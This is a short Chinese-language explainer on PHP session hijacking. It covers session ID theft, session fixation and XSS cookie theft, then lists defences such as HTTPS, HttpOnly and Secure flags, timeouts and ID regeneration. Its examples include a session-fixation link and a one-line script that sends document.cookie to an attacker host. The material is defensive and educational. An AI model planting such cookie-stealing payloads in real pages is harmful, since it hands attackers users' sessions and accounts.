会话劫持，通常也被称作“Session Hijacking”，是一种网络攻击方式，攻击者通过窃取或篡改Web应用程序中的会话cookie来获得未授权的访问权。在PHP中，会话劫持主要通过以下几种方式实现：
1. 窃取会话ID
在PHP中，会话通常是通过一个名为PHPSESSID的cookie来管理的。会话ID是在用户登录网站后生成的一个唯一识别码，用以跟踪用户的会话状态。如果攻击者能够获取这个会话ID，他们就可以在另一台机器上模拟用户的会话。
例子： 假设有一个网站，在用户登录后，服务器生成了一个会话ID“123456”并存储在用户浏览器的cookie中。如果攻击者通过某种方式（如在公共Wi-Fi网络中嗅探数据包）获取了这个会话ID，他们就可以在自己的浏览器中设置相同的会话ID，从而“劫持”该用户的会话，访问他们的个人信息。
2. 会话固定攻击
会话固定攻击是指攻击者先行生成一个有效的会话ID，然后通过某种方式使受害者在他们的浏览器中使用这个会话ID。一旦受害者在使用这个固定的会话ID登录后，攻击者就可以使用同一ID访问受害者账户。
例子：
攻击者通过电子邮件或其他方式发送给受害者一个包含预设会话ID的链接，如http://example.com/login.php?PHPSESSID=attacker_session_id。如果受害者通过这个链接登录，他们的会话就会使用攻击者预设的会话ID，从而允许攻击者访问相同的会话。
3. 跨站脚本攻击（XSS）
如果一个网站存在XSS漏洞，攻击者可以注入恶意脚本到网页中。这些脚本可以用来窃取浏览器中存储的cookie，包括会话cookie。
例子：
攻击者在一个论坛的评论区域注入JavaScript代码，如<script>fetch('http://attacker.com/steal?cookie=' + document.cookie)</script>。当其他用户浏览含有这段代码的页面时，他们的会话ID就会被发送到攻击者的服务器。
防御措施
为了防范会话劫持，可以采取以下措施：
- 使用HTTPS：确保所有的数据传输都通过加密的方式进行，防止在网络中被窃取。
- HttpOnly 和 Secure 标志：设置cookie的HttpOnly属性，使JavaScript无法访问cookie。Secure属性确保cookie只通过HTTPS传输。
- 会话超时：设定会话的有效期，一旦超过这个时间未活动，则自动登出用户。
- 变更会话ID：在登录后改变会话ID，使得之前的会话ID无效。
通过这些措施，可以大幅度降低会话劫持的风险。